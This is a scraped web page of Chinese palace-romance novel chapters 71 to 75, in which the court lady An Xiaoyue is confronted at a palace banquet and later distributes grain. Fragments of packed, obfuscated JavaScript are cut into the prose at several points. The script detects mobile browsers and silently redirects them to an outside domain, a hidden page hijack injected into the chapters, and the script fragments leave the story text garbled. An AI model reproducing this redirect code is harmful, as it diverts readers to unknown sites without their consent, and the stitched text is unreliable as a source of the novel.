l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616848|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上去。 “安姑娘,你给我说说,昨夜你和殿下真的……” 安小月猛地看了过去,就见苏德笑得一脸谄媚,却没有半分不好意思,仍在等着回答。 她气这老太监两幅面孔,故作玄虚道,“苏公公当真想知道?” 苏德连连点头,凑得更近了。 安小月招手让他离得更近一点,以手掩唇,突然对着苏德的耳朵不轻不重地哼了一声。 “有些事殿下不说,咱们就不能问,难道苏公公忘了这个规矩?” “哎呦哎呦。”苏德急忙捂着耳朵后退,但始作俑者却已经迈着轻快的步伐出了大殿。 苏德气得原地跺脚,“这死丫头,可真是狗仗人势!” 安小月去找了王嬷嬷,让她带着自己去量尺寸。 距离宫宴只有不到四日了,她的衣裳尚未赶制完成,礼仪也才学了个皮**。 所幸她平日要做的活计不多,除了每日每顿雷打不动炖一盅汤之外,其余的时间都耗在了学规矩上。 可饶是这样,短短两日后她仍累得双腿发软,布菜时胳膊一直打颤,险些将热汤洒到太子身上。 萧衍皱眉不满,“怎么?你这是对孤有怨气?” 安小月脸皮发烫,低声道,“白日练狠了,胳膊有点酸。” 说着不禁感到脸红。 明明从前干惯了粗活,怎么如今在太子府养了段时间,身子反倒娇气起来了。 萧衍嗤笑,“那些高门贵女自小**礼,你比她们晚了这么久,若是不下点苦功,宫宴上早晚要被笑话。” 安小月抿唇,她正是知道这次机会来之不易,所以才日日跟着嬷嬷学习,不敢懈怠。 不求在宫宴上出风头,只要能学到东西那就不亏。 她用力吸了口气,郑重点头,“殿下放心,奴一定会好好学,绝不给您丢脸!” 萧衍盯着她微微发颤的手,忽然抬手扣住她的手腕,不轻不重地捏了一下。 “啊……”安小月猝不及防地倒抽一口冷气。 “很疼?”萧衍语气带着几分恶劣的兴味,“宫宴上若是手抖摔了东西,可就不止是这里疼了。” 安小月咬唇,低声道,“奴会接着练的。” 第71章 逃奴 又过了四日,安小月期待的宫宴终于来了。 朱红宫门徐徐而开,百官命妇依次入席,行走间没有发出任何声响。 安小月跟在太子身后,心跳如同鼓擂。 她今日没穿宫服,而是穿了一身藕荷色襦裙,发间只戴了一根玉镶银簪子,虽不华丽,却胜在清雅。 既能区分出她和宫女的区别,又不至于太打眼,安小月很是满意。 可萧衍却好像不大喜欢,时不时就往她身上看,还一脸嫌弃。 安小月本就紧张,还以为自己出了差错,悄悄凑上去询问,“殿下,可是奴身上有何不妥?” 萧衍似笑非笑往她胸口瞥了眼,“无事,说了你更不自在。” “啊?” 安小月急忙低头整理衣裳,动作不免引起旁人的注意。 数道或探究或轻蔑的目光扫过来,她身子一僵,立刻缩到萧衍身后不动了。 高台之上,皇后凤袍上的金线牡丹熠熠生辉,她正含笑看着众人,又像是不经意似的落到安小月身上。 安小月忽然想起来前几日皇上昏迷,六皇子监国一事。 虽然没闹出大乱,可因为太子被百官**之事,六皇子还是惹了皇上厌烦。 她听王嬷嬷说,六皇子被送到礼部学习,说是学习,实际上是变相软禁。 其目的是什么不言而喻。 皇上是察觉到了六皇子的野心了。 安小月下意识看了眼太子,正想着,忽觉头皮发麻。 一抬头,就见皇后似笑非笑盯着自己,那眼神像是淬了毒似的,几息间就能要了人的命。 安小月一愣,忽地什么都懂了。 狗太子带她参加宫宴,不是什么让她长见识,而是切切实实地想让她顶包! 皇后有没有查到太子背后搞鬼的证据尚未可知,就算有了证据,她也没机会责罚太子。 只有她! 一个低贱的宫女,还是太子身边人,实在是最合适不过。 安小月瞬间恼了,借着宽大裙摆遮掩,大着胆子在狗太子身上拧了一把。 萧衍正执杯饮酒,连眼皮都没抬,只将空杯往桌上一放,才斜眼扫了过来。 下一刻,皇后含笑的声音就传了过来。 “太子身边的这位姑娘瞧着倒是眼生,上前来,让本宫好好瞧瞧。” 满殿目光霎时间如同剑雨般射了过来,安小月藏在袖子中的手紧紧握在一起,却不得不上前。 好在这几日她学得认真,嬷嬷也教得用心,跪下行礼时竟然没出一丝差错。 皇后眼底闪过一抹意外,瞥了眼事不关己的太子,轻轻一笑。 “你既然是太子的身边人,就应当好好服侍太子,他前几日才受了伤,怎么能吃酒呢?” 皇后转头看向席间某处,“颜儿,你说是吗?” 安小月身子一僵。 颜儿,安欢颜。 安欢颜的身份自然有资格参加这次宫宴,安小月早就料到她会来。 本想着躲上一晚不与她正面撞上,却没料到皇后会不放过。 安欢颜缓缓走来,身姿窈窕轻盈,相比之下,安小月刚才礼仪就只能用没出错来形容了。 她福身行礼,柔声道,“回娘娘,这丫头臣女原先就认识,不知她怎的逃到东宫成了太子殿下的身边人……” 安欢颜特意加重了“身边人”这三个字,慢悠悠转身盯着安小月。 皇后饶有兴致的追问,“你是相府嫡女,如何和她认识?” “回娘娘,这丫头原是臣女家管花圃洒扫的奴婢,因弄坏了臣女母亲最为宝贵的兰花,趁人不备竟然逃了,没想到却摇身一变进了太子府。” 安欢颜说着做出担忧的神色,“是臣女管教不严,才让她冲撞了太子殿下。” 皇后留意着萧衍的神色,恰到好处的出来打圆场。 “她既然进了太子府,就是太子府的奴婢,即便是冲撞了太子,也应该由太子施以惩戒,你退下吧,想必这事太子自有定夺。” “是。” 安欢颜意味深长地看了安小月一眼,又退了回去。 而落在安小月身上的目光比先前更多更强烈了。 她低低地垂着头,腰杆却挺得笔直,身子肉眼可见的僵硬。 皇后意有所指地看向萧衍,“太子乃是国之储君,若因身边人伺候不周而伤了身子,那便是大罪。” “按照宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616849|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规应当掌嘴二十,以儆效尤,既然她是太子的人,那便由太子定夺吧,太子以为如何?” 安小月呼吸一滞,比先前更为紧张。 她今日能不能站着出宫门,全在狗太子的一念之间。 满殿众人都打起了精神等着太子的回应。 半晌,却只听到太子哼笑一声。 “母后教训得是,既然是儿臣的人,那儿臣换个责罚可好?” “太子想换什么?” 萧衍站起来,不紧不慢地走到安小月身边,居高临下地睨着她。 “既然母后说你伺候不周,那孤就罚你每日都跟着,若是碰到孤不得不喝的时候,就由你来替孤喝。” 殿内瞬间安静下来,没人料到太子的责罚居然是这样。 尤其是故意挑明安小月低贱身份的安欢颜,气得面容都微微扭曲。 白费功夫一场,居然替安小月做了嫁衣! 她若是时时刻刻都跟着太子殿下,那俩人的关系岂不是会突飞猛进? 若是太子舍不得…… 安欢颜猛得止住念头,不敢继续往下想。 若是安小月继续留在太子府,与殿下的情谊比她深厚,以后岂不是要受她的掣肘? 那头,皇后却不甘心错过这个大好的机会。 “她是东宫的奴婢,那颜儿作为未来的东宫主母,自然也有教训她的权力,太子若是舍不得,不如让颜儿来,提前立威也是应当,省得某些上不了台面的生出不该生的心思。” 最后一句话直接把安小月推到了风口浪尖。 皇后轻描淡写的一句话直接就把她认定成为狐媚祸主,心比天高的贱婢。 安小月只感觉后背粘腻腻的,冷汗将衣裳沾在身上,刺的生疼。 然而萧衍,却迟迟没有开口。 安小月的心越来越沉。 这时,安欢颜带着几分羞涩开了口,“殿下是大丈夫,少管内宅之事,臣女愿意替殿下分忧。” 皇后追问,“太子到底以为如何?” “好啊。”萧衍漫不经心地开了口,“若是想作为东宫主母行使权利,至少也得嫁进来才行,不如明日成婚,孤把这贱婢留着,任由你处置?” 第72章 维护 萧衍此言一出,满堂寂静。 近来朝中暗流涌动,皆因半年前太子殿下在北疆一战,有传闻称太子伤了根本,怕是难以延绵皇嗣。 谁都知道这意味着什么。 一个不能绵延皇嗣的储君,就像没籽的石榴,看着喜人,可掰开了就知道里面是空的。 朝堂上的老狐狸背地里早就把算盘打得啪啪响,尤其是相爷安禄海,怎么甘心把女儿嫁进东宫? 这一点大家都心知肚明,此刻听到太子当众催婚,大多人都存了看热闹的心思。 而几个当事人心情却很是复杂。 皇后嘴角的笑淡了下去,安欢颜也低垂着头,睫毛轻颤,指尖不自觉绞紧了帕子。 这突如其来的催婚,把她逼到了进退两难的地步。 此刻若是应下,相府便再难从东宫这滩浑水中脱身,可若是拒绝…… 王氏疾步而出,“殿下容禀,钦天监择定的吉日关乎国运,若贸然更改,只怕会冲撞了天地气运。” 皇后适时出声,“不错,太子妃入主东宫乃国之大事,岂能因为区区奴婢更改吉日?” 萧衍漫不经心道,“母后教训得是,既然如此,孤的人便不劳烦外人了。” 安欢颜脸色骤变,突然觉得背后发凉。 太子方才唱这一出,表面催婚,实则另有企图。 安小月不过是个引子,他真正要敲打的是相府。 大婚未成,她还不能借东宫的势,就连这个低贱的婢女也不能随意处置! 安欢颜只觉得一股怒气直冲头顶,指甲几乎要陷进掌心。 她堂堂相府嫡女,何时被如此轻慢过? 席间一些和相府沾有关系的夫人们面色都不大好看,王氏更是咬碎了牙,差点气撅过去。 太子这般行事,分明是没有把相府放在眼里。 若传出去,颜儿岂不是成了满城的笑柄? 她心中暗恨,怪安小月狐媚,也怪皇后借题发挥。 若不是皇后想借着这贱蹄子打压太子,相府怎么会遭受无妄之灾? 皇后冷眼看着,忽然轻笑一声。 “罢了,既然太子执意如此,本宫这个外人,也不便多说什么。” 她目光幽幽落到安小月身上,“倒是有些人,别仗着有几分姿色,就忘了自己的身份。” 安小月身子一颤,头垂得更低了。 四周讥讽的目光却还是尽数落到她身上。 不过转念一想,今日这场闹剧安欢颜也没占到便宜,倒叫她心里稍许平衡了些。 雅乐再起,众人勉强维持表面的平和。 可在暗中看不到的角落早就偷偷议论起方才那件事。 安小月趁着众人闲聊之际,悄悄去寻太子,不料刚出大殿,反被皇后身边的嬷嬷拦住了去路。 “安姑娘,皇后娘娘有请。” 安小月顿时咯噔了一下。 她心知此去凶多吉少,却不得不低头应道,“奴婢这就去给娘娘请安。” 一路忐忑,随着嬷嬷穿过重重宫廊,她终于被带至皇后寝殿。 殿内那股令人窒息的威压扑面而来。 安小月忙不迭跪下,老老实实以头触地。 “本宫听说,你近来在太子府很是得意?”皇后的声音从高处落下,带着寒意。 安小月忙道,“奴婢不敢!” “不敢?”皇后冷笑一声,“太子为了你,连相府的颜面都不顾了,你还说不敢?” “既然这样,那本宫交代你的那件事,进行到哪一步了?” 她的语气陡然凌厉,惊得安小月心头一紧。 她咬了咬唇,瑟瑟道,“殿下谨慎,奴婢尚未找到合适的机会。” 皇后怒气冲冲地拍桌,安小月急忙补充,“但是前几日殿下在奴婢房中过了夜,虽然是和衣而眠,却已允许奴婢近身伺候了。” “蠢货!”皇后更气了,用力将茶盏砸到她脚边,怒不可遏,“都躺到一张榻上了,你居然还没得手?” 皇后冷哼,“别以为太子护着你,本宫就不能拿你怎么样,本宫能让你活,也能让你死。” 安小月身子伏得更低,声音哽咽,“奴婢明白,奴婢绝不敢忘了正事!” 皇后冷哼一声,还想多训斥几句,殿外却突然传来一阵脚步声。 “母后。” 少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623252|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清朗的嗓音突然打破殿内压抑的气氛,六皇子小跑进来时,却一眼看到了跪在地上的安小月。 他眼底闪过一丝晦暗不明的情绪,垂在身侧的手微微收紧。 “母后怎么把她带过来了?” 皇后脸色一沉,“你来做什么?本宫教训奴才,也得向你请示才行?” 六皇子嘻嘻一笑,死皮赖脸地坐到皇后身边。 “儿臣见母后不在宫宴上,特意来寻,没想到母后这儿正忙着,她又做了何事得罪了母后?” 皇后皱眉,“你父皇好不容易允你休息一日,你不去前头领宴,跟着本宫做什么?” 六皇子充耳不闻,却说,“儿臣刚才只听了一半,太子哥哥为了这个婢女竟然敢顶撞母后,实在是不孝,然而事情皆因她而起,不如母后把她送给儿臣吧,儿臣一定好好给母后出气。” 安小月忽然觉得喉咙发紧。 六皇子居然还没打消这个念头! 皇后拧眉,顿时气不打一处来。 “胡闹!本宫之前跟你说的都白说了?滚出去!再敢惦记她,本宫立刻就让她死!” 六皇子嘴角勾起一抹玩味,“母后舍得?刚才太子哥哥如此维护,难道还看不出来她在太子哥哥心目中的不一般吗?” “可惜太子哥哥为人警惕,不被人逼一把,就绝对不会轻易改变原则,不如让儿臣来当这个人如何?” 殿内一时寂静。 安小月攥紧了手指,浑身发冷。 她知道,六皇子这番话不过是故意刺激皇后,什么搭把手,只是想抢走她让太子难堪罢了。 皇后颤抖着手指着六皇子,若不是一旁的嬷嬷扶着,只怕要气晕过去。 “滚,你给本宫滚出去!” 六皇子挑了挑眉,今日是母后寿辰,他也不想在这个日子把母后气得太狠。 意味深长地看了眼安小月,离开时故意踩过她放在地上的双手,听到她压抑的抽气声,才满意离去。 六皇子的脚步声越来越远,皇后深吸几口气平复情绪。 “别以为老六多次跟本宫讨要就是真的喜欢你,记住你该做的事,别奢想不该想的人!” 第73章 换个方式问 安小月离开皇后寝宫时,膝盖仍在隐隐作痛,被六皇子踩过的双手更是红了一片。 “嘶……”她对着伤口轻轻呵气,手背上的灼烫才好受了些。 外头不知何时起了风,吹得她打了个寒颤。 正想加快脚步离开,余光却瞥见转角处一抹熟悉的杏黄色衣角随风飘动。 云龙祥纹,是太子。 安小月浑身血液瞬间凝固,心头猛地一跳。 太子什么时候来的?他听到了多少? 她攥紧手指,不敢往深了想,只能装作若无其事的继续往前走。 可就在她转向岔路时,一只骨节分明的手突然扣住她的手腕,力道大的几乎要捏碎骨头。 “谁!”她本能抬腿狠踹,却被人掐着腕骨按在廊柱上。 “是孤。” 萧衍一边侧身避开,防止她再踹过来,一边凑近,身子几乎要贴到她身上。 安小月故作惊慌,“殿下?您怎么会在这儿?” 萧衍眸色深沉,唇角绷成一条线,手指轻轻拂过她手背上的红痕,又突然重重碾下。 “老六刚才进去说了什么?” 安小月吃痛变了脸色,忍不住倒抽一口冷气。 她偏头避开他灼热的呼吸,颤声道,“回殿下,六皇子只是说了些恭祝皇后娘娘千秋的吉祥话,别的奴婢就不知道了。” 萧衍眸色骤暗,“撒谎!” 他突然掐住她的下巴逼她抬头,拇指粗暴地擦过她的唇瓣,用力按了两下。 “你这张嘴,到底何时才会说真话?” 他压低声音,带着一股狠意,“孤没猜错的话,老六应当是又跟母后讨要你了吧?” 安小月瞳孔骤缩,手肘不慎撞上对方的腰腹,却见他目光骤然阴沉。 “孤让你动了吗?” 她顿时乖巧如鹌鹑,缩着脖子,故意让喘息声变得细弱。 “殿下方才在宫宴上维护奴婢,不正是要让所有人都知道奴婢是殿下的人吗?六皇子既然知道此事,断不会明着与殿下作对。” 萧衍盯着她,指腹仍按在她唇上,不轻不重地摩挲着。 “看到孤为了你和相府作对……”他俯身逼近,鼻息喷洒在她的耳畔,“你很得意?” 安小月心头一跳,她的确得意。 尤其是看到安欢颜明明气得身体发颤,却还要强撑端庄得体的模样,她心里便涌起一股隐秘的快意。 从小到大,她最期盼看到的不就是这一幕吗? 但她不能承认。 安小月微微抿着唇,抬眸悄悄扫了他好几眼,最终却还是一副温顺沉默的神情。 这让憋了一肚子火的萧衍像是一拳打到了棉花。 他冷哼出声,目光如刀一寸寸掠过她的脸,“不说话?” 突然余光瞥向某处,嗓音变得危险而暧昧,“那孤换个方式问问?” 话落,他突然低头,狠狠咬上她的唇。 假山后。 萧泽藏在衣袖下的手背暴起青筋,他盯着前方身体紧紧叠在一起的两人,突然嗤笑。 “安大小姐连个贱婢都压不过,还想奢望太子妃的位置?只怕不等你嫁进去,皇兄心里就只有她一个人了。” 安欢颜呼吸急促,紧紧捏着帕子的指甲“咔”一声折断了。 她早该想到的! 上次代替爹爹去太子府送东西时,她就见安小月唇瓣红肿得可疑,后来再叫她出来,也是一副双颊绯红,眼含春意的模样。 原以为是安小月自导自演的一场戏,可当太子主动把人按在怀里亲吻,她才意识到这哪里是做戏? 根本就是……动了心! 安欢颜浑身颤抖。 她不是没想过太子殿下或许对安小月有几分兴趣,可亲眼看到这一幕,仍像是被当众打了一记耳光。 其实她对太子并无多少爱慕之心。 这个男人性情阴晴不定,重伤后更是喜怒难测。 可他是储君,是未来的帝王,若是太子没有受伤,太子妃的位置就应该是她的! 她会风风光光嫁入东宫,成为这天下最尊贵的女人。 可现在,一个低贱的安小月,竟然抢在她前头? 她咬了咬牙,转身就跑,却听见身后六皇子贱嗖嗖补刀,“跑什么?不如学学人家怎么勾引人的?” 她羞愤交加,可还没等她发作,余光却瞥到太子正直勾勾盯着这里。 他的眼神似笑非笑,还搂着安小月的腰,嘴唇一张 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623253|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一合。 看够了? 安欢颜再也待不下去,攥紧裙摆,头也不回地冲了出去。 萧泽自然也看到了这一幕。 他隔着老远和太子四目相对,终是黑着脸离开了。 待那两人的身影彻底消失在视线,萧衍才缓缓松开搂着安小月的手。 安小月踉跄几步,从耳朵到脖颈晕出一片霞红,目光还有几分呆滞。 良久她才缓过神来,抬头看了他一眼,又慌乱垂眸。 萧衍忽然觉得有些好笑。 平时明里暗里勾引他的那股劲头哪去了?现在倒是觉得不好意思了。 他伸手拂过她的嘴唇,挑了挑眉。 “不乐意孤突然吻你?” “不是!奴婢不敢!” 安小月急忙摇头,又紧张的四处张望。 “可是这里是……”皇宫啊! 若是被人看见,他不会有事,她就要**! 萧衍却像是不知道她在害怕什么似的,沉声道,“记住,在宫里管好你的眼睛和嘴,如果是让孤发觉你……” “不敢不敢,奴婢真的不敢乱说!” 安小月说完立即捂住自己的嘴,杏眸瞪得圆圆的,看上去竟然异常无辜勾人。 萧衍深深看了眼,转身时解开披风甩到她身上。 “去门口找赵忠,让他送你回府。” 安小月愣了下,低头应是。 赵忠显然提前接到了消息,等安小月拿着宫牌从朱红大门走出来时,他已经备好了马车。 发觉安小月身上披着殿下的披风,赵忠还愣了愣,甚至忘了给她搬脚登。 安小月抬手在他面前挥了挥,“赵大人?” 赵忠这才回神,藏起心底隐秘的波动,一言不发地搬来脚凳。 安小月却没打算放过这个打听消息的好机会。 她撩开一半帘子,低声问,“赵大人,宫宴已经结束了,你知道殿下留在宫里要做什么吗?” 赵忠头也没回,“殿下的事不是我们该管的。” 安小月抿唇,她自然知道这一点,可刚才发生的种种让她不得不多想。 狗太子留下来,该不会是因为宫宴上的动静传到皇上那儿去了吧? 第74章 放粮 紫宸殿的熏香终于换了,至少不像之前那般浓郁。 萧衍被老太监带进去时,皇帝正站在鎏金御案前,见他进来,撂下手上的朱笔。 “看看。” 皇帝直接将一本奏折扔了过去。 萧衍低头看了眼,正好看到用朱笔圈起来的四个字上。 “东宫逾矩。”皇帝沉声叹息,“太子,朕听闻你刚才在宫宴上公然顶撞皇后,还让安相的嫡女当众下不来台?” 他突然笑了,“朕都不知道,太子竟然这般心软,竟为了个宫女做出这种事?” 萧衍撩袍跪下,“儿臣惶恐。” “儿臣身为东宫储君,却连个下人的命运都做不了主,一时冲动,这才做了糊涂事。” “下人?” 皇帝抓起案上的密折砸了过去,纸页散开,露出里头安小月的身世信息。 “别跟朕说你不知道这个宫女是安禄海与外人私生的,一个母不详的庶女,也配你当众维护?” 萧衍默不作声,盯着上面用朱笔圈出“其母乃边疆……” 皇帝缓慢踱步到太子身边,语气幽幽,“你养个玩意儿,朕懒得管。” “可你为了她当众驳皇后的脸面,砸安相的脸,朕很是不满。” 他嗓音突然变得凌厉,“太子,你是储君,不是情种!” 萧衍眉头一皱,想要解释自己对安小月并没有那种心思,可话到嘴边却说不出口。 “你不喜欢相府嫡女那样的,朕可以给你挑十个八个名门贵女,但一个**的婢女,充其量就是个玩意儿,再多,朕就要插手了。” 萧衍低头,“儿臣谨记父皇教诲。” 皇帝瞥了他一眼,“出去吧,朕看两年太久,是时候让钦天监重新择个日子了。” 萧衍指尖几不可察地顿了下。 重新择日,这意味着他与安欢颜的婚期要提前了。 他缓缓叩首,声音平静的没有丝毫波澜。 “儿臣遵旨。” 皇帝眯起眼睛,本以为太子还会用之前那些理由推拒,可这一次他竟然连犹豫都没犹豫,就这么应了。 “你倒是答应的痛快。” 又冷笑,“不心疼你房里的那个宫女了?” 萧衍眼底一片平静。 “父皇教训的是,儿臣不该因小失大。” “滚吧,记住你今日跟朕说的,若是有朝一日你食言,那朕饶不了那个宫女。” 萧衍再次叩首,起身离开紫宸殿。 赵忠将安小月送回太子府之后,又返回来等着太子殿下出来,远远的就看见殿下脸色沉得吓人。 就连步子都要比平时快上几分,苏公公很是费力地跟在后面。 赵忠喉结动了动,原本想迎上去禀报的话,突然就卡在了嗓子眼。 他本应该如实告诉殿下的。 可此刻看着殿下阴沉的脸,他却担忧说出来后会惹怒殿下,到那时安姑娘又要受苦。 忍了忍,终究没开口。 萧衍撩开帘子上马车之前,突然停住,“她路上可有说什么?” 赵忠犹豫了一瞬,“没有。” 萧衍蓦地眯起眼睛,“果真什么都没说?” 赵忠无意识摩挲了下袖口的东西,那是安姑娘前几日出门时给他带回来的礼物。 虽然苏公公和王嬷嬷都有,但总归是不一样的。 沉默片刻,他的声音绷得很紧,斩钉截铁的又回了句没有。 苏德忍不住抬头看了眼赵忠,觉得他好似哪里变了,甚至听不出来殿下一而再给的机会。 萧衍忽然低笑一声,转身上了马车,“罢了,孤信你。” 这句话语气轻飘飘的,听起来没多少份量,倒像是随口的敷衍。 可赵忠还是松了口气。 烛芯“啪”的爆了个灯花,惊醒了险些睡着的安小月。 她揉了揉酸胀的眼睛,就听得外头有人敲门。 “姑娘怎么还不睡?” 开了门,王嬷嬷裹着外裳进来,她瞥了眼快要燃尽的蜡烛,“姑娘不会是一直没歇下吧?” 安小月老实道,“我想着殿下或许要问今日发生的事情,所以就等了会儿。” 王嬷嬷打了个哈欠,回道,“殿下一个时辰前就回来了,早已经歇下了,兴许是明天才会问话?姑娘累了一天,早些睡吧。” 回来了?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15623254|171448||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 安小月愣了愣,心里越发不安。 但还是笑着送走了王嬷嬷,关了门,独自坐在床榻边发呆。 前几日太子还掐着她的脸说“不该打听的事情别打听”,如今却连问罪都懒得开口了。 她迷迷糊糊的蜷在塌边睡去,殊不知王嬷嬷从她房里离开之后,径直去了太子所住的玉庆宫。 安小月心里想着事情,翌日一早便醒了。 可她匆匆梳洗后赶到玉庆宫,却得知太子殿下天色未亮就出了门,临走之前还下了一道口谕。 “放粮?” 安小月惊讶地看着面前的赵忠,“殿下说让你我一起去放粮吗?可是先前……” 她皱眉,先前为了安抚村里百姓,她特意让人送过话,说是殿下养好伤会亲自过去放粮赈济。 如今百姓们见不到人,就算是得了粮食,估计也要说他们又食言了。 王嬷嬷眼神有点复杂,“殿下说,先前他不在的那几日就是安姑娘帮着处理此事,不如亲自过去盯着,有始有终,也好安心。” 安小月一噎,耳尖蓦地烧了起来。 她那不是为了安抚百姓,怕百姓对太子殿下不满吗? 如今被他提起来,倒像是在故意臊她多管闲事似的。 “可是……”她拧着帕子迟疑,让她单独和赵大人一起去,这算什么事。 话音未落,却见赵忠已经率先出了殿门,直直往大门口走。 王嬷嬷推了推她的肩膀,压低声道,“姑娘还磨蹭什么?毕竟是殿下的口谕,难道还能不听?” 安小月想要让王嬷嬷同去,可刚开口却被拒绝了。 无奈,她只能独自跟上去。 出了门见赵忠正抱着剑一脸冷漠的站在马车前,她急忙快走了两步。 “赵大人久等了。” 赵忠漠然看了过来,搬下脚踏,“无碍。” 安小月还想多寒暄两句,却见他已经扭开了脸,神色平平,像是不大愿意与她交谈的样子。 安小月只得闭了嘴。 马车摇摇晃晃驶出太子府,她坐在车厢门口,指尖挑开帘子一角往外看。 余光却在瞥旁边的人。 第75章 搬去同住 马车缓缓驶出城门,安小月终究没忍住,轻声开口,“赵大人。” 赵忠身形微顿,偏头看她,“安姑娘有事?” “昨日……”她攥紧了帕子,声音压得极低,“殿下回来问起我了吗?” 赵忠眸光一沉,握着缰绳的手微微顿住,沉默了瞬息才道,“姑娘指的是什么事?” 安小月抬眼,总觉得这位赵大人今日格外不一样,但若仔细想,又想不出来哪里不一样。 她声音更轻,“就是我打探殿下行踪之事。” 赵忠没有立刻回答。 沉默中,安小月心跳快了几分,心中冒出一个怪诞的念头。 他该不会没有把自己打探行踪的事情告诉狗太子吧? 若真是如此,那……倒是坏了她的事。 良久,才听到他低声回了句没有。 安小月的心重重一沉,抬眼看他,“真的?” 赵忠却垂头避开了她的视线,“殿下没问。” 安小月蹙眉,不知道是该松口气还是更忐忑,最为重要的是她不明白赵忠怎么没有主动告诉狗太子这事。 正出神,忽然听到他补充了句,“姑娘以后别再打听了,这不合规矩。” 安小月心头一跳,却见他已经转头看向前方,一副拒绝交谈的态度。 她抿了抿唇,终究没有再开口。 马车驶入村口时,安小月掀开车帘朝外面张望。 先前被狼群撕裂的篱笆墙已经修葺一新,茅草屋顶铺得整整齐齐,连麦场的石碾都重新装好。 可田垄间却空荡荡的,仅有少数庄稼存活。 赵忠在一旁道,“自打那夜之后,殿下派来的人就一直留在村里善后,但秧苗来不及补了。” 安小月攥紧手指。 难怪狗太子顶着被**的帽子也要开仓,她看有些田地被烧的焦黄,怕是短时间内都没法再种。 两人没有多耽搁,找到村正请来几个青壮少年维持秩序,另找了有十个妇人在一旁支起了粥棚。 安小月挽起袖子舀粥,却被个枯瘦的婆子抓住手腕,“姑娘,太子爷还会来瞧我们吗?” 她登时心头一紧,想起当初自己许下的承诺,偷瞄了一眼正在负责放粮的赵忠。 声音低得不能再低,“殿下还未好全,但定会来的。” 众人虽有失望,但想着朝廷总归是没有失信他们,欢欢喜喜的称粮舀粥,气氛也算和谐。 忙忙碌碌了一整天,回程时晚霞烧得正艳。 一行人踩在城门落锁前赶回了太子府。 安小月没敢耽搁,回屋子简单擦洗又换了件衣裳,就钻进了小厨房。 她借着火光看粮册上密密麻麻的手指印,时不时看一眼小炉上咕噜噜冒泡的雪梨汤。 却听到外头有人喊她,“姑娘,姑娘……” 安小月收了粮册正要出去,王嬷嬷就打帘进来了。 她提着灯笼,看到炉上的汤叹了口气,“别忙活了,刚得的信儿,殿下今晚不回来。” 安小月一惊,下意识问,“那殿下要在哪儿过夜?” 说完她猛地意识到不对,紧紧闭上嘴,转身去收拾已经滚熟的雪梨汤。 王嬷嬷盯着她忙碌的背影,叹道,“这就不归咱们管了,姑娘没来之前,殿下经常不回来。” 也就是她进府后渐渐才回来勤了些。 可如今不知怎的又不回来了,不仅如此,隐约还有要避开安姑娘的意思…… 王嬷嬷眸色闪烁,却未多言。 安小月动作迟疑,想着白日赵忠的叮嘱,没有多问。 默默和院里几个小太监分食了雪梨汤便洗洗睡了。 之后接连三日她都和赵忠在村子里忙着分发粮食,看着村民们眼里终于有了亮光,两人的心情也不错。 回程的路上,安小月疲惫地靠在车壁上,嘴角却露出如释重负的笑。 赵忠骑马跟在旁边,见她这般模样,神情也松动了几分。 “殿下……今夜回府。” 安小月猛地睁眼,却见赵忠面无表情盯着路,仿佛方才听到的那句低语是她幻听。 她张了张嘴,想问,又怕再坏了规矩,只当自己听错了。 直到下了马车,她转进回廊正要回屋,远远望见玉庆宫里灯光通明,太监们脚步匆匆。 她才恍然惊觉方才不是幻听,太子是真的回来了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 